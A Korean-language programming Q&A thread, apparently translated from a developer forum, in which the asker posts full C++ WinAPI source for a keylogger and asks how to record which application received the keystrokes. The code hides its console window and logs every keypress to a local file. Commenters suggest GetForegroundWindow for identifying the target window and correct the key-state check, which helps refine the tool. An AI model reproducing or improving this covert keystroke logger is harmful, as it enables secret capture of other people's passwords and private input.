WinAPI를 사용하여 C++에서 간단한 keylogger를 작성하려고합니다. 사용자가 캡처 한 키 스트로크를 입력하는 응용 프로그램을 가져 오는 방법이 있습니까?C++ simple keylogger
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int main()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}
}
system ("PAUSE");
return 0;
}
항상 'GetForegroundWindow'가 있습니다. – chris
왜 컴퓨터를 열어 놓고 동일한 파일을 가능한 한 빨리 182 번 연속으로 닫으시겠습니까? –
그건 그렇고, 열쇠가 내려 갔는지 확인하는 올바른 방법은'GetAsyncKeyState (i) & 0x8000'입니다. – chris